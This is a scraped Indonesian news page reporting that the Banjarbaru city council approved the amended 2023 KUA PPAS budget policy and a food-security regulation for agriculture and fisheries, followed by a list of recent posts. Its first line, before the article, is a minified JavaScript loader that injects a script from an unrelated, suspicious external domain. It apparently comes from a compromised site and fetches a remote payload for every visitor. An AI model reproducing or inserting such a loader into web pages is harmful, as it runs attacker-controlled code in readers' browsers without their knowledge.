(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

DPRD Banjarbaru Sahkan KUA PPAS 2023 dan Raperda Ketahanan Pangan


KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menggelar rapat paripurna kesepakatan perubahan Kebijakan Umum Anggaran dan Prioritas Plafon Anggaran Sementara (KUA PPAS) tahun anggaran 2023 dan pengambilan keputusan Rancangan Peraturan Daerah (Raperda) tentang penyelenggaraan ketahanan pangan pertanian dan perikanan.

Rapat berlangsung di ruang lantai 3 gedung DPRD Kota Banjarbaru, Senin (7/8/2023) siang, dihadiri Wali Kota Banjarbaru HM Aditya Mufti Ariffin dan Wakil Wali Kota Banjarbaru Wartono.

Panitia Khusus (Pansus) DPRD Banjarbaru telah menjalankan tugas sesuai dengan ketentuan yang berlaku dan erdasarkan hasil rapat seluruh Fraksi DPRD menyetujui.

Sebelum disepakati, disampaikan laporan hasil evaluasi dari berbagai indikator yang mampu dijadikan sebagai tolak ukur keberhasilan program kegiatan yang telah dilaksanakan. Setelah mendengarkan laporan, dicapai hasil dan kesimpulan dari disetujuinya Raperda tersebut.

Baca juga: Tiga Sekawan Mabuk Naik Motor Bacok Pesepeda, Dua Ditangkap Polisi

Rapat paripurna ditutup dengan penandatanganan nota kesepakatan tentang persetujuan oleh Wali Kota Banjarbaru HM Aditya Mufti Arifin dengan Ketua DPRD Banjarbaru Fadliansyah didampingi Wakil Ketua Taufik Rahman dan Wakil Ketua Drs Napsiani Samandi.

Wali Kota Aditya menyampaikan terima kasih kepada Pansus DPRD Kota Banjarbaru dan jajaran eksekutif yang telah bekerja sama dalam melakukan pembahasan sehingga dapat ditetapkan pengambilan keputusan pada rapat paripurna.

“Dengan disahkannya Raperda ini, diharapkan para pihak terkait bekerja sama menyediakan infrastruktur dan dukungannya kepada sektor pangan, sektor perikanan dan sektor perikanan,” ujarnya.

Baca juga: Bangun Kawasan Olahraga di Cempaka, Proses Pembebasan Lahan 201,38 Hektare Disampaikan ke Warga

Raperda ketahanan pangan memberikan arah yang jelas dalam pengelolaan anggaran dan pelaksanaan program yang mendukung ketahanan pangan dan sektor perikanan di Kota Banjarbaru. (Kanalkalimantan.com/bie)

Reporter: bie
Editor: kk


Risa

Recent Posts

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

5 menit ago

Instansi Vertikal Disiapkan Masuk SKPD Instansi Mengajar di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pendidikan (Disdik) Kota Banjarbaru siap menggandeng instansi vertikal di Kota Banjarbaru,… Read More

1 jam ago

780 Anggota PPK se Kalsel Dilantik, Bertugas 8 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Seluruh Panitia Pemilihan Kecamatan (PPK) di Provinsi Kalimantan Selatan (Kalsel) resmi dilantik… Read More

1 jam ago

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

5 jam ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

16 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

18 jam ago

This website uses cookies.